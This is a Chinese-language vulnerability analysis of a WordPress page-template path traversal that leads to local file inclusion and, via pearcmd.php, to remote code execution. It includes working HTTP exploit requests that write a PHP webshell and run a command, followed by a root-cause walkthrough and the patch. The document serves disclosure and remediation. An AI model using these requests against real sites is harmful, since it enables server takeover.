漏洞描述

未认证攻击者可利用 get_page_template() 的页面模板解析逻辑,使 WordPress 包含活动主题目录之外的、攻击者选定的本地可读 .php 文件。在服务器环境和活动主题均满足特定前置条件时,可进一步导致远程代码执行(RCE)

前置条件

  1. 主题条件:当前启用的子主题或父主题包含一个以 page- 开头的顶级目录(例如 page-templates)。受影响的包括旧版 Twenty Twelve、Twenty Fourteen,以及 Neve、Hestia、Sydney 等流行第三方主题。
  2. 服务器条件:服务器上存在攻击者选定的本地 .php 目标文件,且 Web 服务器账户可读。当 register_argc_argv 为 On 时,可利用知名的 pearcmd.php 实现 PEAR→RCE 转换。官方 PHP Docker 镜像受影响;使用 PHP 8.5 之前版本的默认 cPanel 配置也受影响。

漏洞评分:9.2

受影响的版本:

7.1.0 - 7.1.1

7.0.0 - 7.0.5

6.9.0 - 6.9.8

6.8.0 - 6.8.9

6.7.0 - 6.7.8

6.6.0 - 6.6.8

6.5.0 - 6.5.11

6.4.0 - 6.4.11

6.3.0 - 6.3.11

6.2.0 - 6.2.12

6.1.0 - 6.1.13

6.0.0 - 6.0.15

5.9.0 - 5.9.17

5.8.0 - 5.8.16

5.7.0 - 5.7.18

5.6.0 - 5.6.20

5.5.0 - 5.5.21

5.4.0 - 5.4.22

5.3.0 - 5.3.24

5.2.0 - 5.2.27

5.1.0 - 5.1.25

5.0.0 - 5.0.28

4.9.0 - 4.9.32

4.8.0 - 4.8.31

4.7.0 - 4.7.36

漏洞复现

POST / HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml

pagename 的值就是 templates/../../../../wp-links-opml 的双重 URL 编码(templates 对应主题里的 page-templates/ 目录,../×4 从 主题目录/page-templates/ 跳到站点根

文件写入

POST /?+config-create+/<?=system(end($_REQUEST))?>+wp-vuln/rce-shell.php HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 130

page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftools%252fpear%252fpearcmd

命令执行

POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252frce-shell HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 10

cmd=id

漏洞讲解

Step 1:请求入口 —— WP::parse_request()

src/wp-includes/class-wp.php:319-336。pagename 是 WP 的公开查询变量(class-wp.php:18),parse_request() 按 $_POST → $_GET → 伪静态规则 的优先级注入。使用 ?pagename= 查询串方式时,值来自 $_GET——PHP 已对查询串做了一次 URL 解码,故 query var 中保存的是"一次编码态"的载荷 templates%2F%2E%2E%2F...(这也是为什么载荷要发两层编码:留一层给 WordPress 自己在后面"过滤—使用"错位时利用):

} elseif ( isset( $_POST[ $wpvar ] ) ) {
    $this->query_vars[ $wpvar ] = $_POST[ $wpvar ];
} elseif ( isset( $_GET[ $wpvar ] ) ) {
    $this->query_vars[ $wpvar ] = $_GET[ $wpvar ];
} elseif ( isset( $perma_query_vars[ $wpvar ] ) ) {
    $this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ];
}

Step 2:is_page 判定 —— 只看变量非空,不验页面存在

src/wp-includes/class-wp-query.php:891-901。这是第一个关键点:pagename 查询变量非空就直接置 is_page = true,与该 slug 是否对应真实页面完全无关:

} elseif ( '' !== $query_vars['pagename'] || ! empty( $query_vars['page_id'] ) ) {
    $this->is_page   = true;
    $this->is_single = false;
}

Step 3:页面 slug 解析必然失败 —— 但无所谓

src/wp-includes/class-wp-query.php:1079-1098 尝试用 get_page_by_path() 把 pagename 解析为真实页面:

if ( '' !== $query_vars['pagename'] ) {
    $this->queried_object = get_page_by_path( $query_vars['pagename'] );
    ...
    if ( ! empty( $this->queried_object ) ) {
        $this->queried_object_id = (int) $this->queried_object->ID;
    } else {
        unset( $this->queried_object );
    }

get_page_by_path()(src/wp-includes/post.php:6273)内部会先 urldecode 把载荷还原成 templates/../../../index,再按 / 分段并用 sanitize_title_for_query() 清洗每一段——字面量 .. 在清洗中变成空串(点被替换为 -、再被字符集白名单剔除),于是 .. 段永远无法与任何页面的 post_name 匹配;随后的祖先链逐段比对也注定失败,最终返回 null:

注意:解析失败只导致 queried_object 被置空,is_page 依旧为 true(Step 2 已设置,此处没有回退逻辑),query_vars['pagename'] 也未被触碰——遍历载荷仍以编码态完整存放在查询变量里。

Step 4:SQL 构建中的两道过滤与一次覆盖 —— 全链最精妙的一步

src/wp-includes/class-wp-query.php:2186-2217(get_posts() 内,注意 class-wp-query.php:1919 的 $query_vars = &$this->query_vars; 是引用):

} elseif ( '' !== $query_vars['pagename'] ) {
    if ( isset( $this->queried_object_id ) ) {
        $reqpage = $this->queried_object_id;
    } else {
        ...
        $reqpage = get_page_by_path( $query_vars['pagename'] );  // Step 3 已证明返回 null
        ...
        $reqpage = 0;
    }
    ...
    if ( ( 'page' !== get_option( 'show_on_front' ) ) || ... ) {
        $query_vars['pagename'] = sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) );
        $query_vars['name']     = $query_vars['pagename'];
        $where                 .= " AND ({$wpdb->posts}.ID = '$reqpage')";
    }

此处发生了两件与本漏洞直接相关的事:

(a)官方显然试图在这里"消毒"pagename——sanitize_title_for_query( wp_basename( $pagename ) ),直觉上会把 xx/../../yy 截断为 basename 并清洗掉非法字符。但对"一次编码态"的载荷,这两个函数全部失效:

  • wp_basename()(src/wp-includes/formatting.php:5758)的实现是 urldecode( basename( str_replace( '%2F', '/', urlencode( $path ) ) ) )。对 templates%2F%2E%2E... 先 urlencode 会把 % 编码成 %25(得到 %252F),str_replace('%2F','/') 找不到裸 %2F 子串、无法切分目录,basename() 原样返回,末尾 urldecode() 又把 %25 还原回 %——该函数对编码态输入是个"身份函数":

  • sanitize_title_with_dashes()(src/wp-includes/formatting.php:2282)有一步"Preserve escaped octets"(L2284-2289):合法的 %XX 八位组会被显式保留。%2F、%2E 正是合法八位组,因此安然通过字符白名单 [^%a-z0-9 _-](L2395)。相反,字面量的 . 会在 L2393 被替换为 -——这就是公开 PoC 都用 %252E 而不用字面量 .. 的原因

于是 $this->query_vars['pagename'] 在 SQL 构建后仍为编码态原值。

(b)WHERE 条件先坏后好:pagename 分支给 $where 追加了 AND (ID = '0')(查不到任何东西),照理这个请求会以"无 posts"收场。但紧接着 L2276-2279 的 page_id 分支:

if ( $query_vars['page_id'] ) {
    if ( ( 'page' !== get_option( 'show_on_front' ) ) || ( get_option( 'page_for_posts' ) != $query_vars['page_id'] ) ) {
        $query_vars['p'] = $query_vars['page_id'];
        $where           = " AND {$wpdb->posts}.ID = " . $query_vars['page_id'];

注意 $where 这里是赋值覆盖(= 而非 .=),把上一处 ID='0' 的死条件整个抹掉,主查询变成 ID = 2——成功查出真实页面。page_id 与 pagename 这两个变量的处理顺序(pagename 在前、page_id 在后)与覆盖语义,共同构成了"遍历 slug 搭车真实页面"的通道。若只发 pagename 不发 page_id,请求会 404,模板链走不到

Step 5:handle_404() 放行

src/wp-includes/class-wp.php:724-805。由于 $wp_query->posts 非空(页面 2 被查出),且未涉及翻页越界,$set_404 保持 false——请求以 200 进入模板加载阶段

Step 6:模板分发 —— template-loader.php

src/wp-includes/template-loader.php:67-101 按条件模板标签的优先级选择模板函数。is_404() 为 false 轮不到 404 模板;轮到 is_page 时调用 get_page_template()

分发得到路径后,最终在 L114-132 完成包含(此处对路径做了 realpath + 后缀/可读检查,但都不限制目录边界):

$tag_templates = array(
    'is_embed'             => 'get_embed_template',
    'is_404'               => 'get_404_template',
    ...
    'is_page'              => 'get_page_template',
    ...
);
foreach ( $tag_templates as $tag => $template_getter ) {
    if ( call_user_func( $tag ) ) {
        $template = call_user_func( $template_getter );
    }
    if ( $template ) { ... break; }
}

Step 7:漏洞核心 —— get_page_template() 的"先过滤后解码"

src/wp-includes/template.php:471-504:

function get_page_template() {
    $id       = get_queried_object_id();
    $template = get_page_template_slug();
    $pagename = get_query_var( 'pagename' );        // ← 编码态遍历载荷(Step 4 证明其存活)

    if ( ! $pagename && $id ) { /* 静态首页回退,本场景不触发 */ }

    $templates = array();
    if ( $template && 0 === validate_file( $template ) ) {   // ← 6.2.1 曾对 _wp_page_template meta 加固过
        $templates[] = $template;
    }
    if ( $pagename ) {
        $pagename_decoded = urldecode( $pagename );          // ← 最后一刻解码:templates/../../../index
        if ( $pagename_decoded !== $pagename ) {             // ← 编码态≠解码态,恒成立
            $templates[] = "page-{$pagename_decoded}.php";   // ← 遍历候选插入列表头部,无任何校验
        }
        $templates[] = "page-{$pagename}.php";
    }
    ...
    return get_query_template( 'page', $templates );
}

三个细节:

  1. 这个 urldecode 候选项是 WP 4.7 为多字节字符页面名设计的功能(见函数 docblock @since 4.7.0),本意是让 page-中文页.php 也能匹配——它信任了"能被编码的内容也只是字符",没料到编码里可以藏着 / 和 .。
  2. 同函数 L488 对自定义模板 $template(_wp_page_template post meta)是做过 validate_file() 校验的——那是 WordPress 6.2.1 针对 Contributor 通过 REST API 写入遍历 meta 实现 LFI 的那次加固。历史补丁守住了 meta 通道,却漏掉了 pagename 通道,本漏洞正是从旁路进入。
  3. get_query_template()(template.php:23)只对 $type 做了 preg_replace('|[^a-z0-9-]+|','',$type) 这类清洗——清洗的是类型名而非候选文件名;随后 locate_block_template() 对经典主题直接透传(block-template.php:65-67:! current_theme_supports('block-templates') ⇒ return $template),载荷原样抵达 locate_template()。

Step 8:locate_template() 直接拼接 —— LFI 达成

src/wp-includes/template.php:722-753:

function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
    global $wp_stylesheet_path, $wp_template_path;
    ...
    foreach ( (array) $template_names as $template_name ) {
        if ( ! $template_name ) { continue; }
        if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) {   // ← 拼接 + 存在性检查,无边界校验
            $located = $wp_stylesheet_path . '/' . $template_name;
            break;
        } elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
            $located = $wp_template_path . '/' . $template_name;            // ← 父主题目录同理
            break;
        } elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
            ...
        }
    }
    if ( $load && '' !== $located ) { load_template( $located, ... ); }     // ← require 包含
    return $located;
}

以默认路径布局为例(主题 twentytwelve 自带 page-templates/ 目录):

拼接结果: /var/www/html/wp-content/themes/twentytwelve/page-templates/../../../index.php
文件系统解析:
  themes/twentytwelve/page-templates/..   → themes/twentytwelve
                    /..                   → themes
                    /..                   → wp-content
最终路径: /var/www/html/wp-content/index.php   ← 主题目录之外的文件

为什么 page- 前缀的目录必须真实存在:文件系统解析 A/B/../../.. 时要求每一级都真实可走——候选路径的第一段 page-templates(= 模板名前缀 page- + 载荷首段 templates)必须是主题内真实存在的目录,后面的 ../ 才爬得出去;若主题没有这个目录,file_exists() 直接为 false,链条中断。这也解释了官方对受影响主题的点名:twentytwelve、twentyfourteen、Neve、Hestia、Sydney 恰好都有 page-templates/ 这类目录。

最后回到 template-loader.php:114-132 完成包含(此处对路径做了 realpath + 后缀/可读检查,但都不限制目录边界):

$template   = apply_filters( 'template_include', $template );
$template   = $is_stringy ? realpath( (string) $template ) : null;
if ( is_string( $template ) && ( str_ends_with( $template, '.php' ) || ... )
    && is_file( $template ) && is_readable( $template ) ) {
    do_action( 'wp_before_include_template', $template );
    include $template;      // ← LFI 落地:任意可读 .php 被执行
}

被包含的 wp-content/index.php 内容为 // Silence is golden.,故响应为 HTTP 200 + 空 Body——这就是无害检测的判定特征(对比正常页面约 23KB 的响应体)

Step 9:条件 RCE —— pearcmd.php 链

LFI 本身已可包含任意可读 .php;要进一步 RCE,官方通报指向最经典的 pearcmd.php 原语,需同时满足:

  • 服务器上存在 /usr/local/lib/php/pearcmd.php(官方 php:* Docker 镜像默认安装 PEAR;WordPress 官方/常用 Docker 镜像即基于它);
  • register_argc_argv = On(PHP 官方 Docker 镜像与 PHP < 8.5 默认 cPanel 配置默认开启;PHP 8.5 起默认关闭)

利用思路:把遍历终点指向 pearcmd(主题位于 /var/www/html/wp-content/themes/<theme>/page-templates,向上 5 级到达根目录):

pagename 解码态 = templates/../../../../../usr/local/lib/php/pearcmd
模板候选        = page-templates/../../../../../usr/local/lib/php/pearcmd.php
              → /usr/local/lib/php/pearcmd.php

register_argc_argv=On 时,PHP(非 CLI)会把查询串按 + 切分为 $argv 传给被包含的脚本;pearcmd.php 的 config-create 子命令会将其第一个参数(攻击者可控内容)写入第二个参数指定的路径。因此攻击者可在同一个 GET 里追加 argv 段,让 PEAR 把含 PHP 代码的"配置文件"写进 Web 根目录,落地 Webshell,完成 RCE(该原语即 Pterodactyl CVE-2025-49132 等多个漏洞使用过的公开利用链,形如 &+config-create+/&/<?=...?>+/var/www/html/x.php)

即便目标环境没有 pearcmd,LFI 仍可用于:包含上传目录中可控内容的 .php 片段、包含含敏感逻辑的文件造成副作用、配合日志/会话文件包含等;审计 WordPress 对全部 locate_template() 调用方的影响面时还应注意到 get_template_part()、load_template() 同样汇聚到该函数

漏洞修复

改动只落在 src/wp-includes/template.php,是双保险结构:

第一处:堵住解码候选(get_page_template())

if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
-   if ( $pagename_decoded !== $pagename ) {
+   if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}

validate_file()(functions.php:6372)对包含 ../、Windows 盘符等形态的路径返回非 0,遍历候选在进入列表前即被丢弃——与 6.2.1 对 _wp_page_template meta 的加固方式对齐。

第二处:在汇聚点做 realpath 边界收容(locate_template() + 新函数 _wp_is_template_path_allowed())

新增私有函数 _wp_is_template_path_allowed():对包含 .. 的候选路径做 realpath() 解析,要求真实路径必须落在以下目录之内才允许加载:当前主题(stylesheet)目录、父主题(template)目录、wp-includes/theme-compat/,以及主题本身位于子目录时其直接父目录。locate_template() 对每个 file_exists() 命中的候选都要先过这道检查:

if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $candidate = $wp_stylesheet_path . '/' . $template_name;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
    $candidate = $wp_template_path . '/' . $template_name;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
    $candidate = ABSPATH . WPINC . '/theme-compat/' . $template_name;
} else {
    continue;
}
if ( _wp_is_template_path_allowed( $candidate ) ) {   // ← realpath 必须收容在允许目录内
    $located = $candidate;
    break;
}

参考

https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp

https://avd.aliyun.com/detail?id=AVD-2026-87902